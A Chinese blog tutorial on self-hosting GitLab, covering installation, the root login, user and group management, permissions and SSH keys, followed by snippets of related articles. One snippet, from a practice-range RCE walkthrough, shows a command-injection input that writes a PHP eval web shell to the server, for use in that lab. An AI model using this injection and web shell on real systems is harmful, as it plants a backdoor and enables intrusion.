创建并管理自己的远程git仓库 gitlab

news/2024/9/18 13:22:09/ 标签: git

gitlab 部署

我自己用的是NAS自带的gitlab套件,安装就完了,其他平台需要自己部署一下

ubuntu平台部署命令

有图形界面下载安装gitlab deb包就挺方便的

没图形界面就用指令安装吧

浏览器输入地址登陆,地址为ip:端口号

局域网内可以直接使用,有公网ip就可以到处用了

登陆

打开页面,输入预设的用户名密码就可以使用了,初始的用户名为root,密码可以在/etc/gitlab/initial_root_password文件中找到,也可以自行修改

设置用户名和密码

登陆后,用户名密码可以进左上角用户下面找到setting,进行设置,可以给自己加几个账号,也可以为小伙伴们添加账号

管理用户与用户组

管理者可以手动添加用户,也可以为这些用户编组以方便权限管理,通过这个功能安排合作开发的小伙伴们的权限

权限管理

用户或用户组对于某一个项目的权限有不同的等级,管理者可以手动需改他们的权限来保证代码安全

管理公钥

用户想要通过ssh拉代码需要将公钥保存到gitlab上,每一台设备都需要各自的ssh

新建project

点击new project按钮,建立自己的gitlab项目吧,可以和小伙伴们一起合作开发了,团队成员可以通过project地址将工程库的代码拉取到本地开发,并将各自的代码提交之后统一管理。

代码管理

提交上来的代码,管理者可决定是否合入


http://www.ppmy.cn/news/1524551.html

相关文章

OPENAIGC开发者大赛企业组AI黑马奖 | SpeakGuru ⾯向未来的陪伴式 AI ⼝语私教

在第二届拯救者杯OPENAIGC开发者大赛中,涌现出一批技术突出、创意卓越的作品。为了让这些优秀项目被更多人看到,我们特意开设了优秀作品报道专栏,旨在展示其独特之处和开发者的精彩故事。 无论您是技术专家还是爱好者,希望能带给您…

ES6基础----Generator的使用

目录 Generator 是 ES6提出的解决异步编程的方案之一 1、Generator 和传统函数不一样,使用 * 表示 2、Generator 函数可以使用 yield 中途暂停函数 3、Generator(生成器) 函数的返回值是一个遍历器 ,需要定义一个变量接收遍历…

[测试]1.TPC-DS性能测试

通过EMR运行基于OSS-HDFS服务的TPC-DS Benchmark了解数据查询和分析的性能表现_对象存储(OSS)-阿里云帮助中心 (aliyun.com) 鲲鹏大数据测试指导: 安装Git-部署环境配置-ElasticSearch组件测试工具Esrally 使用指导-测试指导-测试指导-鲲鹏BoostKit大数据使能套件开发文档-鲲…

Spring 源码解读:解决循环依赖的三种方式

引言 在复杂的应用开发中,循环依赖是一个常见的问题。简单来说,循环依赖是指两个或多个Bean之间互相依赖,导致程序无法正常实例化这些Bean。Spring容器通过依赖注入(DI)来管理Bean的创建与生命周期,并在遇…

[C++]spdlog学习

Spdlog日志库 Spdlog是一个快速、异步、线程安全的C日志库 仓库地址:https://github.com/gabime/spdlog 优点: 只包含头文件速度很快无需依赖第三方库支持跨平台支持多线程—线程安全可对日志文件进行循环输出可每日生成日志文件可支持控制台日志输出…

场景解决方案丨突破成本限制,中小企业如何快速搭建后台管理系统

信息化时代下业务数据量激增,云计算、物联网、人工智能等技术的成本大幅度降低及普及,这些变化推动着市场需求发生改变,使数字化转型成为各行业的共同趋势。在这一背景下,大型企业利用其经济和技术优势巩固市场领导地位&#xff0…

mysql Field ‘ssl_cipher‘ doesn‘t have a default value的解决

1、执行sql的时候报错: 16:48:00 INSERT INTO mysql.user (Host,User,authentication_string) VALUES(%,root, PASSWORD(12323)) Error Code: 1364. Field ssl_cipher doesnt have a default value 0.000 sec 1、解决,执行命令: my…

力扣---80. 删除有序数组中的重复项 II

给你一个有序数组 nums ,请你 原地 删除重复出现的元素,使得出现次数超过两次的元素只出现两次 ,返回删除后数组的新长度。 不要使用额外的数组空间,你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的条件下完成。 说明&…

【文心智能体】通过工作流使用知识库来实现信息查询输出,一键查看旅游相关信息,让出行多一份信心

欢迎来到《小5讲堂》 这是《文心智能体平台》系列文章,每篇文章将以博主理解的角度展开讲解。 温馨提示:博主能力有限,理解水平有限,若有不对之处望指正! 目录 创建灵感基本配置头像名称和简介人物设定角色与目标思考路…

Elasticsearch 基本语法使用

1、创建索引 1.1 基本语法 PUT <index_name>index_name&#xff1a;索引名称 1.2 索引命名规范 以小写英文字母命名索引不要使用 驼峰 或者 帕斯卡 命名法则如过出现多个单词的索引名称&#xff0c;以全小写 下划线分隔的方式&#xff1a;如 my_index。 1.3 索引的…

php、Java、python房屋租赁系统 在线租房系统 房源出租平台(源码、调试、LW、开题、PPT)

&#x1f495;&#x1f495;作者&#xff1a;计算机源码社 &#x1f495;&#x1f495;个人简介&#xff1a;本人 八年开发经验&#xff0c;擅长Java、Python、PHP、.NET、Node.js、Android、微信小程序、爬虫、大数据、机器学习等&#xff0c;大家有这一块的问题可以一起交流&…

网络编程(TCP+网络模型)

【1】TCP 初版服务器 #include <stdio.h> #include <sys/types.h> /* See NOTES */ #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <unistd.h> #include <arpa/inet.h> #include <string.h…

如何在Flask中处理错误

在Flask中处理错误是确保Web应用健壮性和用户体验的重要部分。错误处理不仅涉及捕获和响应服务器或客户端生成的错误&#xff0c;还包括为这些错误提供有意义的反馈&#xff0c;无论是向开发者报告&#xff08;如调试信息&#xff09;还是向最终用户展示&#xff08;如友好的错…

手把手带你拿捏C指针(2)(含冒泡排序)

文章目录 一、数组名的理解二、使用指针访问数组三、一维数组传参本质四、冒泡排序五、二级指针六、指针数组七、指针数组模拟二维数组 一、数组名的理解 在上⼀个章节我们在使⽤指针访问数组的内容时&#xff0c;有这样的代码&#xff1a; int arr[10] {1,2,3,4,5,6,7,8,9,…

C语言-qosrt函数—秩序大师

1、qsort()的作用 在我们的日常生活中&#xff0c;排序无处不在。想象一下&#xff0c;当你整理书架时&#xff0c;会按照书籍的类别、作者或者大小进行排列&#xff0c;让你的阅读空间更加整洁有序。又比如&#xff0c;在超市的货架上&#xff0c;商品通常也是按照一定的规则进…

pytest二次开发:生成用例参数

pytest.fixture是一个装饰器&#xff0c;用于声明一个fixture。Fixture是pytest中的一个核心概念&#xff0c;它提供了一种将测试前的准备代码&#xff08;如设置测试环境、准备测试数据等&#xff09;和测试后的清理代码&#xff08;如恢复测试环境、删除临时文件等&#xff0…

jenkins工具的介绍和gitlab安装

使用方式 替代手动&#xff0c;自动化拉取、集成、构建、测试&#xff1b;是CI/CD持续集成、持续部署主流开发模式中重要工具&#xff1b;必须组件 jenkins-gitlab&#xff0c;代码公共仓库服务器&#xff08;至少6G内存&#xff09;&#xff1b;jenkins-server&#xff0c;需…

Pikachu靶场之RCE漏洞详解

一.exec "ping" 1.ping本机127.0.0.1 2.用&符拼接dir查看目录 3.&拼接echo输入一句话木马 127.0.0.1&echo "<?php eval($_POST[cmd]);?>)" > 6.php 4.同级目录访问6.php&#xff0c;蚁剑连接 二&#xff1a;exec "eval"…

Python中的`set`和`frozenset`的区别

在Python中&#xff0c;set和frozenset是两种用于存储不重复元素的数据结构&#xff0c;它们都属于集合&#xff08;Set&#xff09;类型&#xff0c;但在使用场景、功能特性和性能表现上存在一些关键的区别。 1. 基本概念 set set是Python中的一个内置数据类型&#xff0c;…

滑动窗口——优选算法

个人主页&#xff1a;敲上瘾-CSDN博客 个人专栏&#xff1a;游戏、数据结构、c语言基础、c学习、算法 目录 一.滑动窗口算法原理&#xff1a; 二.无重复字符的最长子串 1.题目解析​编辑 2.算法原理 3.代码编写 三.长度最小的子数组 1.题目解析 2.算法原理 3.代码编…